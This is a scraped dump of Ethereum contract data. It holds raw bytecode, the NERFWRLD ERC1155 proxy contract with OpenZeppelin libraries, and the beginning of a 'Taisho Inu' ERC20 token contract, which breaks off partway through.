04820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016108fd565b60008181526002602052604090205473ffffffffffffffffffffffffffffffffffffffff161561363c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016108fd565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600360205260408120805460019290613672908490613d64565b909155505060008181526002602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b82805461370190613e33565b90600052602060002090601f0160209004810192826137235760008555613787565b82601f1061375a578280017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00823516178555613787565b82800160010185558215613787579182015b8281111561378757823582559160200191906001019061376c565b50613793929150613797565b5090565b5b808211156137935760008155600101613798565b803573ffffffffffffffffffffffffffffffffffffffff811681146137d057600080fd5b919050565b60008083601f8401126137e757600080fd5b50813567ffffffffffffffff8111156137ff57600080fd5b60208301915083602082850101111561381757600080fd5b9250929050565b803561ffff811681146137d057600080fd5b60006020828403121561384257600080fd5b6127de826137ac565b6000806040838503121561385e57600080fd5b613867836137ac565b9150613875602084016137ac565b90509250929050565b60008060006060848603121561389357600080fd5b61389c846137ac565b92506138aa602085016137ac565b9150604084013590509250925092565b600080600080608085870312156138d057600080fd5b6138d9856137ac565b93506138e7602086016137ac565b925060408501359150606085013567ffffffffffffffff8082111561390b57600080fd5b818701915087601f83011261391f57600080fd5b81358181111561393157613931613f83565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f0116810190838211818310171561397757613977613f83565b816040528281528a602084870101111561399057600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b600080604083850312156139c757600080fd5b6139d0836137ac565b915060208301356139e081613fb2565b809150509250929050565b600080600060608486031215613a0057600080fd5b613a09846137ac565b9250613a176020850161381e565b9150613a256040850161381e565b90509250925092565b60008060408385031215613a4157600080fd5b613a4a836137ac565b946020939093013593505050565b600060208284031215613a6a57600080fd5b81516127de81613fb2565b600060208284031215613a8757600080fd5b5051919050565b600060208284031215613aa057600080fd5b81356127de81613fc0565b600060208284031215613abd57600080fd5b81516127de81613fc0565b60008060208385031215613adb57600080fd5b823567ffffffffffffffff811115613af257600080fd5b613afe858286016137d5565b90969095509350505050565b600060208284031215613b1c57600080fd5b6127de8261381e565b60008060008060608587031215613b3b57600080fd5b613b448561381e565b9350613b526020860161381e565b9250604085013567ffffffffffffffff811115613b6e57600080fd5b613b7a878288016137d5565b95989497509550505050565b60008060408385031215613b9957600080fd5b613a4a8361381e565b600060208284031215613bb457600080fd5b5035919050565b600080600060608486031215613bd057600080fd5b8335925060208401359150613a256040850161381e565b60008151808452613bff816020860160208601613e07565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b60008351613c43818460208801613e07565b835190830190613c57818360208801613e07565b01949350505050565b73ffffffffffffffffffffffffffffffffffffffff87811682528616602082015261ffff85811660408301528416606082015260a06080820181905281018290526000828460c0840137600060c0848401015260c07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f8501168301019050979650505050505050565b600073ffffffffffffffffffffffffffffffffffffffff808716835280861660208401525083604083015260806060830152613d2a6080830184613be7565b9695505050505050565b6020815260006127de6020830184613be7565b600061ffff808316818516808303821115613c5757613c57613ef6565b60008219821115613d7757613d77613ef6565b500190565b600082613d8b57613d8b613f25565b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613dc857613dc8613ef6565b500290565b600061ffff83811690831681811015613de857613de8613ef6565b039392505050565b600082821015613e0257613e02613ef6565b500390565b60005b83811015613e22578181015183820152602001613e0a565b838111156126cf5750506000910152565b600181811c90821680613e4757607f821691505b60208210811415613e81577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b600061ffff80831681811415613e9f57613e9f613ef6565b6001019392505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613edb57613edb613ef6565b5060010190565b600082613ef157613ef1613f25565b500690565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b801515811461167e57600080fd5b7fffffffff000000000000000000000000000000000000000000000000000000008116811461167e57600080fdfea2646970667358221220b544ddd7c455034633548e754f7023b058422eecc14da0ced4db421ca17c9a2c64736f6c63430008070033
[ 4, 7, 11, 12, 5 ]
0xf257a2de55b848162653f60bf76d27af6f257c2b
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: NERFWRLD /// @author: manifold.xyz import "./ERC1155Creator.sol"; ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // // // _____ _____ _____ _____ _____ _____ _____ _____ // // /\ \ /\ \ /\ \ /\ \ /\ \ /\ \ /\ \ /\ \ // // /::\____\ /::\ \ /::\ \ /::\ \ /::\____\ /::\ \ /::\____\ /::\ \ // // /::::| | /::::\ \ /::::\ \ /::::\ \ /:::/ / /::::\ \ /:::/ //::::\ \ // // /:::::| | /::::::\ \ /::::::\ \ /::::::\ \ /:::/ _/___ /::::::\ \ /:::/ //::::::\ \ // // /::::::| | /:::/\:::\ \ /:::/\:::\ \ /:::/\:::\ \ /:::/ /\ \ /:::/\:::\ \ /:::/ //:::/\:::\ \ // // /:::/|::| | /:::/__\:::\ \ /:::/__\:::\ \ /:::/__\:::\ \ /:::/ /::\____\ /:::/__\:::\ \ /:::/ //:::/ \:::\ \ // // /:::/ |::| | /::::\ \:::\ \ /::::\ \:::\ \ /::::\ \:::\ \ /:::/ /:::/ / /::::\ \:::\ \ /:::/ //:::/ \:::\ \ // // /:::/ |::| | _____ /::::::\ \:::\ \ /::::::\ \:::\ \ /::::::\ \:::\ \ /:::/ /:::/ _/___ /::::::\ \:::\ \ /:::/ //:::/ / \:::\ \ // // /:::/ |::| |/\ \ /:::/\:::\ \:::\ \ /:::/\:::\ \:::\____\ /:::/\:::\ \:::\ \ /:::/___/:::/ /\ \ /:::/\:::\ \:::\____\ /:::/ //:::/ / \:::\ ___\ // // /:: / |::| /::\____\/:::/__\:::\ \:::\____\/:::/ \:::\ \:::| |/:::/ \:::\ \:::\____\|:::| /:::/ /::\____\/:::/ \:::\ \:::| |/:::/____//:::/____/ \:::| | // // \::/ /|::| /:::/ /\:::\ \:::\ \::/ /\::/ |::::\ /:::|____|\::/ \:::\ \::/ /|:::|__/:::/ /:::/ /\::/ |::::\ /:::|____|\:::\ \\:::\ \ /:::|____| // // \/____/ |::| /:::/ / \:::\ \:::\ \/____/ \/____|:::::\/:::/ / \/____/ \:::\ \/____/ \:::\/:::/ /:::/ / \/____|:::::\/:::/ / \:::\ \\:::\ \ /:::/ / // // |::|/:::/ / \:::\ \:::\ \ |:::::::::/ / \:::\ \ \::::::/ /:::/ / |:::::::::/ / \:::\ \\:::\ \ /:::/ / // // |::::::/ / \:::\ \:::\____\ |::|\::::/ / \:::\____\ \::::/___/:::/ / |::|\::::/ / \:::\ \\:::\ /:::/ / // // |:::::/ / \:::\ \::/ / |::| \::/____/ \::/ / \:::\__/:::/ / |::| \::/____/ \:::\ \\:::\ /:::/ / // // |::::/ / \:::\ \/____/ |::| ~| \/____/ \::::::::/ / |::| ~| \:::\ \\:::\/:::/ / // // /:::/ / \:::\ \ |::| | \::::::/ / |::| | \:::\ \\::::::/ / // // /:::/ / \:::\____\ \::| | \::::/ / \::| | \:::\____\\::::/ / // // \::/ / \::/ / \:| | \::/____/ \:| | \::/ / \::/____/ // // \/____/ \/____/ \|___| ~~ \|___| \/____/ ~~ // // // // // // // // // ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract NERF is ERC1155Creator { constructor() ERC1155Creator() {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC1155Creator is Proxy { constructor() { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4; Address.functionDelegateCall( 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4, abi.encodeWithSignature("initialize()") ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102c260279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b6060833b6101945760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101af9190610242565b600060405180830381855af49150503d80600081146101ea576040519150601f19603f3d011682016040523d82523d6000602084013e6101ef565b606091505b50915091506101ff828286610209565b9695505050505050565b60608315610218575081610105565b8251156102285782518084602001fd5b8160405162461bcd60e51b815260040161018b919061025e565b60008251610254818460208701610291565b9190910192915050565b602081526000825180602084015261027d816040850160208701610291565b601f01601f19169190910160400192915050565b60005b838110156102ac578181015183820152602001610294565b838111156102bb576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220cea004e1402c7ee4d2577b2613c8ecd6bd31ac4867ece8fbfdb1dac0f4ab0c1164736f6c63430008070033
[ 5 ]
0xf257d66e96a9b8bc9164eacb71bc81118f32d66f
/* WELCOME TO TAISHO INU Telegram : https://t.me/TaishoiInuETH Website : https://www.TaishoInu.com ._ __. / \"-. ,-",'/ ( \ ,"--.__.--".,' / =---Y(_i.-' |-.i_)---= f , "..'/\\v/|/|/\ , l l// ,'|/ V / /|| \\j "--; / db db|/---" | \ YY , YY// '.\>_ (_),"' __ .-" "-.-." I," `. \.-""-. ( , ) ( \ | ( l `"' -'-._j __,---_ '._." . . \ (__.--_-'. , : ' \ '-. ,' .' / | \ \ \ "- "--.._____t____.--'-""' / / `. ". / ": \' '. .' ( \ : | l j "-. l_;_;I l____;_I */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { //function _msgSender() internal view virtual returns (address payable) { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * 